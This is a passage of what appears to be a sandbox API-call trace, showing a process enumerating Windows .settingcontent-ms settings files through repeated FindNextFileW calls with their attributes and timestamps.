cFileName="AAA_SystemSettings_Devices_Pen_EnablePixie.settingcontent-ms", cAlternateFileName="AA3CE9~1.SET")) returned 1 [0223.022] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb19f230, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb19f230, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Devices_Pen_EnableRipple.settingcontent-ms", cAlternateFileName="AA6E40~1.SET")) returned 1 [0223.022] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2aa39d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb2aa39d, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Devices_Pen_SetHandedness.settingcontent-ms", cAlternateFileName="AA13AF~1.SET")) returned 1 [0223.022] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b54f0, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb3b54f0, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Device_Add.settingcontent-ms", cAlternateFileName="AA17AC~1.SET")) returned 1 [0223.023] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c04b8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb4c04b8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_AdvancedSettings.settingcontent-ms", cAlternateFileName="AA1EEC~1.SET")) returned 1 [0223.023] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5cb3ee, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb5cb3ee, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_Brightness.settingcontent-ms", cAlternateFileName="AA73A3~1.SET")) returned 1 [0223.023] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6b0258, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb6b0258, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a4ea03, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_DPI_Override.settingcontent-ms", cAlternateFileName="AA923B~1.SET")) returned 1 [0223.023] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7bb2f5, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb7bb2f5, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_Duplicate.settingcontent-ms", cAlternateFileName="AA3073~1.SET")) returned 1 [0223.023] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c6456, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb8c6456, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_IdentifyDetectWireless.settingcontent-ms", cAlternateFileName="AA5F02~1.SET")) returned 1 [0223.024] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d14cf, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xb9d14cf, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x511, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_IsAutoBrightnessEnabled.settingcontent-ms", cAlternateFileName="AA9A18~1.SET")) returned 1 [0223.024] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8b7ea2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xc8b7ea2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_IsRotationLocked.settingcontent-ms", cAlternateFileName="AA6264~1.SET")) returned 1 [0223.024] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf59231c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0xf59231c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_MainMonitor.settingcontent-ms", cAlternateFileName="AAF454~1.SET")) returned 1 [0223.024] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12d73452, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x12d73452, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233c02ad, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_Monitors.settingcontent-ms", cAlternateFileName="AA5C91~1.SET")) returned 1 [0223.025] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12e7e4f6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x12e7e4f6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Display_Orientation.settingcontent-ms", cAlternateFileName="AA4ABA~1.SET")) returned 1 [0223.025] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f634d2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x12f634d2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a0254b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Mouse_SetButtonConfiguration.settingcontent-ms", cAlternateFileName="AAC6EE~1.SET")) returned 1 [0223.025] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1304806c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1304806c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2391d733, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Mouse_SetScrollPage.settingcontent-ms", cAlternateFileName="AA706B~1.SET")) returned 1 [0223.029] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x131531fb, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x131531fb, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a9aeb1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_CursorSpeed.settingcontent-ms", cAlternateFileName="AAE56F~1.SET")) returned 1 [0223.029] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13238029, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x13238029, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_EnableEdgeGesture.settingcontent-ms", cAlternateFileName="AA140C~1.SET")) returned 1 [0223.029] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1331ced9, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1331ced9, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_EnableTouchPad.settingcontent-ms", cAlternateFileName="AA1803~1.SET")) returned 1 [0223.029] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1344e05e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1344e05e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_EnableVisualFeedback.settingcontent-ms", cAlternateFileName="AA4060~1.SET")) returned 1 [0223.030] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13fed879, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x13fed879, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a74c5a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_EnableVisualFeedbackPM.settingcontent-ms", cAlternateFileName="AA50D8~1.SET")) returned 1 [0223.030] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14203966, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x14203966, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_FourFingerTapEnabled.settingcontent-ms", cAlternateFileName="AABF11~1.SET")) returned 1 [0223.030] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x177ce9db, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x177ce9db, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2339a047, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_LeaveOnWithMouse.settingcontent-ms", cAlternateFileName="AA5689~1.SET")) returned 1 [0223.030] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17cdfb15, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x17cdfb15, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x233e650b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_PanEnabled.settingcontent-ms", cAlternateFileName="AA25A5~1.SET")) returned 1 [0223.030] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19064db7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x19064db7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_RightClickZoneEnabled.settingcontent-ms", cAlternateFileName="AAA6F5~1.SET")) returned 1 [0223.031] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e7b71d7, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1e7b71d7, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x514, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_SetActivationTimeout.settingcontent-ms", cAlternateFileName="AA4412~1.SET")) returned 1 [0223.031] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f710191, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1f710191, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238d127e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_SetScrollDirection.settingcontent-ms", cAlternateFileName="AA99A4~1.SET")) returned 1 [0223.031] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ff4233e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x1ff4233e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_TapAndDrag.settingcontent-ms", cAlternateFileName="AAE53C~1.SET")) returned 1 [0223.031] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x224a91ec, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x224a91ec, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_TapsEnabled.settingcontent-ms", cAlternateFileName="AA27D0~1.SET")) returned 1 [0223.032] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a78c0e, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x22a78c0e, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2340c766, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x523, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_ThreeFingerSlideEnabled.settingcontent-ms", cAlternateFileName="AAA960~1.SET")) returned 1 [0223.032] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c68f16, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x22c68f16, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23458c07, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_ThreeFingerTapEnabled.settingcontent-ms", cAlternateFileName="AA2D71~1.SET")) returned 1 [0223.032] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e58c4a, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x22e58c4a, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x50f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_TwoFingerTapEnabled.settingcontent-ms", cAlternateFileName="AA729F~1.SET")) returned 1 [0223.032] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2312d9e6, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2312d9e6, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x234329b1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Input_Touch_ZoomEnabled.settingcontent-ms", cAlternateFileName="AA9D0C~1.SET")) returned 1 [0223.034] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2453a3a4, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2453a3a4, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x515, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsAutoCorrectionEnabled.settingcontent-ms", cAlternateFileName="AAEFA7~1.SET")) returned 1 [0223.034] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24e5ccc3, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x24e5ccc3, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239b6099, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsAutoShiftEngageEnabled.settingcontent-ms", cAlternateFileName="AA9BCB~1.SET")) returned 1 [0223.035] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fc483, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x251fc483, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x53b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsCompatibilityKeyboardEnabled.settingcontent-ms", cAlternateFileName="AA7448~1.SET")) returned 1 [0223.035] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25674bba, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x25674bba, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x238f74d9, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsDoubleTapSpaceEnabled.settingcontent-ms", cAlternateFileName="AAEECF~1.SET")) returned 1 [0223.035] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x259e35e8, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x259e35e8, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23884dd1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x522, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsKeyAudioFeedbackEnabled.settingcontent-ms", cAlternateFileName="AA28DA~1.SET")) returned 1 [0223.035] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25e2ceeb, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x25e2ceeb, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2398fe3f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x54b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsPredictionSpaceInsertionEnabled.settingcontent-ms", cAlternateFileName="AA2377~1.SET")) returned 1 [0223.036] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x260a8ee1, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x260a8ee1, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23a287a5, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsShiftLockEnabled.settingcontent-ms", cAlternateFileName="AA8C87~1.SET")) returned 1 [0223.036] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e4835, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x262e4835, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x2394398e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x510, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsSpellcheckingEnabled.settingcontent-ms", cAlternateFileName="AA2897~1.SET")) returned 1 [0223.036] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26969b00, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x26969b00, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239dc2f0, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x519, dwReserved0=0x0, dwReserved1=0x0, cFileName="AAA_SystemSettings_Keyboard_IsTextPredictionEnabled.settingcontent-ms", cAlternateFileName="AAC8EF~1.SET")) returned 1 [0223.036] FindNextFileW (in: hFindFile=0x1d1f5b90, lpFindFileData=0x1dc9a9b0 | out: lpFindFileData=0x1dc9a9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26d8eaf6, ftCreationTime.dwHighDateTime=0x1d70074, 